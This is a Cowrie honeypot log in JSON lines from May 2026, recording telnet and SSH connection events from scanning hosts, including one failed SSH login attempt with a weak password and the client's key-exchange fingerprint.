{"eventid":"cowrie.session.closed","duration":38.917149782180786,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:26.235563Z","src_ip":"162.55.233.176","session":"fb88f2182624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.820080041885376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:26.281417Z","src_ip":"162.55.233.176","session":"8906c9190661","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56656,"dst_ip":"159.203.135.109","dst_port":23,"session":"45441c9688a8","protocol":"telnet","message":"New connection: 162.55.233.176:56656 (159.203.135.109:23) [session: 45441c9688a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:26.396800Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56666,"dst_ip":"159.203.135.109","dst_port":23,"session":"27583db8ea7f","protocol":"telnet","message":"New connection: 162.55.233.176:56666 (159.203.135.109:23) [session: 27583db8ea7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:27.164891Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56670,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a68f96ed9ed","protocol":"telnet","message":"New connection: 162.55.233.176:56670 (159.203.135.109:23) [session: 1a68f96ed9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:27.218615Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56680,"dst_ip":"159.203.135.109","dst_port":23,"session":"03bb1ba61967","protocol":"telnet","message":"New connection: 162.55.233.176:56680 (159.203.135.109:23) [session: 03bb1ba61967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:27.361649Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56686,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cbee689b6f8","protocol":"telnet","message":"New connection: 162.55.233.176:56686 (159.203.135.109:23) [session: 2cbee689b6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:28.544248Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56702,"dst_ip":"159.203.135.109","dst_port":23,"session":"21986c5bb6d6","protocol":"telnet","message":"New connection: 162.55.233.176:56702 (159.203.135.109:23) [session: 21986c5bb6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:28.571507Z"}
{"eventid":"cowrie.session.closed","duration":37.330024003982544,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:28.926500Z","src_ip":"162.55.233.176","session":"bcaba670cc0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56730,"dst_ip":"159.203.135.109","dst_port":23,"session":"348a0bb8cf63","protocol":"telnet","message":"New connection: 162.55.233.176:56730 (159.203.135.109:23) [session: 348a0bb8cf63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:29.546513Z"}
{"eventid":"cowrie.session.closed","duration":37.16574263572693,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:30.044770Z","src_ip":"162.55.233.176","session":"4aacce0e5fee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56718,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7057a706d0","protocol":"telnet","message":"New connection: 162.55.233.176:56718 (159.203.135.109:23) [session: 3e7057a706d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:30.060638Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad92c8f4a6ca","protocol":"telnet","message":"New connection: 162.55.233.176:56740 (159.203.135.109:23) [session: ad92c8f4a6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:30.353122Z"}
{"eventid":"cowrie.session.closed","duration":32.421536445617676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:30.550338Z","src_ip":"162.55.233.176","session":"fed891cc80bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56752,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d26f4ca89be","protocol":"telnet","message":"New connection: 162.55.233.176:56752 (159.203.135.109:23) [session: 3d26f4ca89be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:30.631242Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56760,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c5a68734c6","protocol":"telnet","message":"New connection: 162.55.233.176:56760 (159.203.135.109:23) [session: 25c5a68734c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:31.028272Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56762,"dst_ip":"159.203.135.109","dst_port":23,"session":"76bcc159e792","protocol":"telnet","message":"New connection: 162.55.233.176:56762 (159.203.135.109:23) [session: 76bcc159e792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:31.306299Z"}
{"eventid":"cowrie.session.closed","duration":31.127233028411865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:31.974987Z","src_ip":"162.55.233.176","session":"d771440b9fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad6c11aceda","protocol":"telnet","message":"New connection: 162.55.233.176:56778 (159.203.135.109:23) [session: 0ad6c11aceda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:32.693772Z"}
{"eventid":"cowrie.session.closed","duration":39.85238289833069,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:32.836465Z","src_ip":"206.189.32.23","session":"fd8c41783a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56780,"dst_ip":"159.203.135.109","dst_port":23,"session":"06000536ea31","protocol":"telnet","message":"New connection: 162.55.233.176:56780 (159.203.135.109:23) [session: 06000536ea31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:32.905892Z"}
{"eventid":"cowrie.session.closed","duration":35.33176922798157,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:33.007609Z","src_ip":"162.55.233.176","session":"3d1cefd44cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50822,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a693ce15dd3","protocol":"telnet","message":"New connection: 162.55.233.176:50822 (159.203.135.109:23) [session: 4a693ce15dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:33.498230Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50848,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea4669db6156","protocol":"telnet","message":"New connection: 162.55.233.176:50848 (159.203.135.109:23) [session: ea4669db6156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:34.288896Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77c99f40e19","protocol":"telnet","message":"New connection: 162.55.233.176:50862 (159.203.135.109:23) [session: e77c99f40e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:34.454881Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50832,"dst_ip":"159.203.135.109","dst_port":23,"session":"09ae49ad6d84","protocol":"telnet","message":"New connection: 162.55.233.176:50832 (159.203.135.109:23) [session: 09ae49ad6d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:34.526413Z"}
{"eventid":"cowrie.session.closed","duration":31.24774694442749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:34.668410Z","src_ip":"162.55.233.176","session":"7cc2f65e6c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51029896736145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:34.983939Z","src_ip":"162.55.233.176","session":"51ee192d3ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":62615,"dst_ip":"10.17.0.5","dst_port":22,"session":"8add335b707f","protocol":"ssh","message":"New connection: 38.137.11.14:62615 (10.17.0.5:22) [session: 8add335b707f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:35.008374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:35.014316Z","src_ip":"38.137.11.14","session":"8add335b707f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50872,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9a834f13e7e","protocol":"telnet","message":"New connection: 162.55.233.176:50872 (159.203.135.109:23) [session: c9a834f13e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:35.033481Z"}
{"eventid":"cowrie.session.closed","duration":41.05584907531738,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:35.112480Z","src_ip":"188.208.141.113","session":"d92259e49e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50888,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c8e562da91e","protocol":"telnet","message":"New connection: 162.55.233.176:50888 (159.203.135.109:23) [session: 9c8e562da91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:35.156908Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:35.245398Z","src_ip":"38.137.11.14","session":"8add335b707f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"123456789","message":"login attempt [sftp/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:36.200663Z","src_ip":"38.137.11.14","session":"8add335b707f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50900,"dst_ip":"159.203.135.109","dst_port":23,"session":"27f898fad06d","protocol":"telnet","message":"New connection: 162.55.233.176:50900 (159.203.135.109:23) [session: 27f898fad06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:36.229575Z"}
{"eventid":"cowrie.session.closed","duration":33.116801500320435,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:36.425225Z","src_ip":"162.55.233.176","session":"c78aaf88e987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3081476688385,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:36.699938Z","src_ip":"162.55.233.176","session":"dd4aeb5e2419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.69294762611389,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:36.790522Z","src_ip":"206.189.32.23","session":"f9b97b9d5bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:37.434252Z","src_ip":"38.137.11.14","session":"8add335b707f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00164079666138,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:37.566977Z","src_ip":"138.255.230.135","session":"128bfb8622e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.388590097427368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:37.799458Z","src_ip":"162.55.233.176","session":"f965ae6533e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.386527061462402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:38.310533Z","src_ip":"162.55.233.176","session":"6021d873a175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02550935745239,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:38.348200Z","src_ip":"162.55.233.176","session":"5b65919b2e57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38994002342224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:38.588528Z","src_ip":"162.55.233.176","session":"dc9160ae0afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50914,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40b05622af9","protocol":"telnet","message":"New connection: 162.55.233.176:50914 (159.203.135.109:23) [session: b40b05622af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:38.752575Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50916,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a66cbfa7ed3","protocol":"telnet","message":"New connection: 162.55.233.176:50916 (159.203.135.109:23) [session: 9a66cbfa7ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:39.251792Z"}
{"eventid":"cowrie.session.closed","duration":37.85642099380493,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:39.505955Z","src_ip":"162.55.233.176","session":"8463544dccce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50922,"dst_ip":"159.203.135.109","dst_port":23,"session":"69c5ca47f6e1","protocol":"telnet","message":"New connection: 162.55.233.176:50922 (159.203.135.109:23) [session: 69c5ca47f6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.027576Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50934,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba189519ebdf","protocol":"telnet","message":"New connection: 162.55.233.176:50934 (159.203.135.109:23) [session: ba189519ebdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.238454Z"}
{"eventid":"cowrie.session.closed","duration":30.37181329727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.271604Z","src_ip":"162.55.233.176","session":"e5f7656c9058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50950,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ffc4e2337a5","protocol":"telnet","message":"New connection: 162.55.233.176:50950 (159.203.135.109:23) [session: 0ffc4e2337a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.521437Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":42468,"dst_ip":"159.203.135.109","dst_port":23,"session":"849647d2c2b9","protocol":"telnet","message":"New connection: 138.255.230.135:42468 (159.203.135.109:23) [session: 849647d2c2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.550926Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50958,"dst_ip":"159.203.135.109","dst_port":23,"session":"12ed2f966fcd","protocol":"telnet","message":"New connection: 162.55.233.176:50958 (159.203.135.109:23) [session: 12ed2f966fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.566786Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60450,"dst_ip":"10.17.0.5","dst_port":23,"session":"668f426af45f","protocol":"telnet","message":"New connection: 188.208.141.113:60450 (10.17.0.5:23) [session: 668f426af45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.752012Z"}
{"eventid":"cowrie.session.closed","duration":33.50886535644531,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.790392Z","src_ip":"162.55.233.176","session":"1d5b9d92d8b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50962,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fef2cbd5ca9","protocol":"telnet","message":"New connection: 162.55.233.176:50962 (159.203.135.109:23) [session: 1fef2cbd5ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.805476Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50964,"dst_ip":"159.203.135.109","dst_port":23,"session":"11fd2fb0d3ee","protocol":"telnet","message":"New connection: 162.55.233.176:50964 (159.203.135.109:23) [session: 11fd2fb0d3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.833773Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50980,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab81f8b7a0b","protocol":"telnet","message":"New connection: 162.55.233.176:50980 (159.203.135.109:23) [session: 3ab81f8b7a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.907727Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50982,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc192496522","protocol":"telnet","message":"New connection: 162.55.233.176:50982 (159.203.135.109:23) [session: 1dc192496522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:40.967281Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50992,"dst_ip":"159.203.135.109","dst_port":23,"session":"e727d2bd3787","protocol":"telnet","message":"New connection: 162.55.233.176:50992 (159.203.135.109:23) [session: e727d2bd3787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.037524Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51002,"dst_ip":"159.203.135.109","dst_port":23,"session":"65dbd90107a1","protocol":"telnet","message":"New connection: 162.55.233.176:51002 (159.203.135.109:23) [session: 65dbd90107a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.063536Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51010,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb497b8bd1c0","protocol":"telnet","message":"New connection: 162.55.233.176:51010 (159.203.135.109:23) [session: bb497b8bd1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.126596Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":50906,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba8cadd9444","protocol":"telnet","message":"New connection: 162.55.233.176:50906 (159.203.135.109:23) [session: cba8cadd9444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.399266Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51018,"dst_ip":"159.203.135.109","dst_port":23,"session":"917de8a14b09","protocol":"telnet","message":"New connection: 162.55.233.176:51018 (159.203.135.109:23) [session: 917de8a14b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.620105Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51022,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4b024086fc","protocol":"telnet","message":"New connection: 162.55.233.176:51022 (159.203.135.109:23) [session: 7f4b024086fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.723821Z"}
{"eventid":"cowrie.session.closed","duration":36.46014904975891,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.813423Z","src_ip":"162.55.233.176","session":"35e2418fc0af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.444007873535156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:41.959968Z","src_ip":"162.55.233.176","session":"ecde03084eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60454,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16fac925280","protocol":"telnet","message":"New connection: 188.208.141.113:60454 (10.17.0.5:23) [session: e16fac925280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:42.995259Z"}
{"eventid":"cowrie.session.closed","duration":30.664928913116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:43.220560Z","src_ip":"162.55.233.176","session":"6348a3ed23fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44242,"dst_ip":"159.203.135.109","dst_port":23,"session":"22104c736635","protocol":"telnet","message":"New connection: 162.55.233.176:44242 (159.203.135.109:23) [session: 22104c736635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:44.173648Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60468,"dst_ip":"10.17.0.5","dst_port":23,"session":"557a34fe8db8","protocol":"telnet","message":"New connection: 188.208.141.113:60468 (10.17.0.5:23) [session: 557a34fe8db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:44.373239Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44246,"dst_ip":"159.203.135.109","dst_port":23,"session":"263b13df19f6","protocol":"telnet","message":"New connection: 162.55.233.176:44246 (159.203.135.109:23) [session: 263b13df19f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:44.550941Z"}
{"eventid":"cowrie.session.closed","duration":31.431590795516968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:44.776878Z","src_ip":"162.55.233.176","session":"0bf0120a0f67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.377181053161621,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:45.129078Z","src_ip":"188.208.141.113","session":"668f426af45f","protocol":"telnet"}
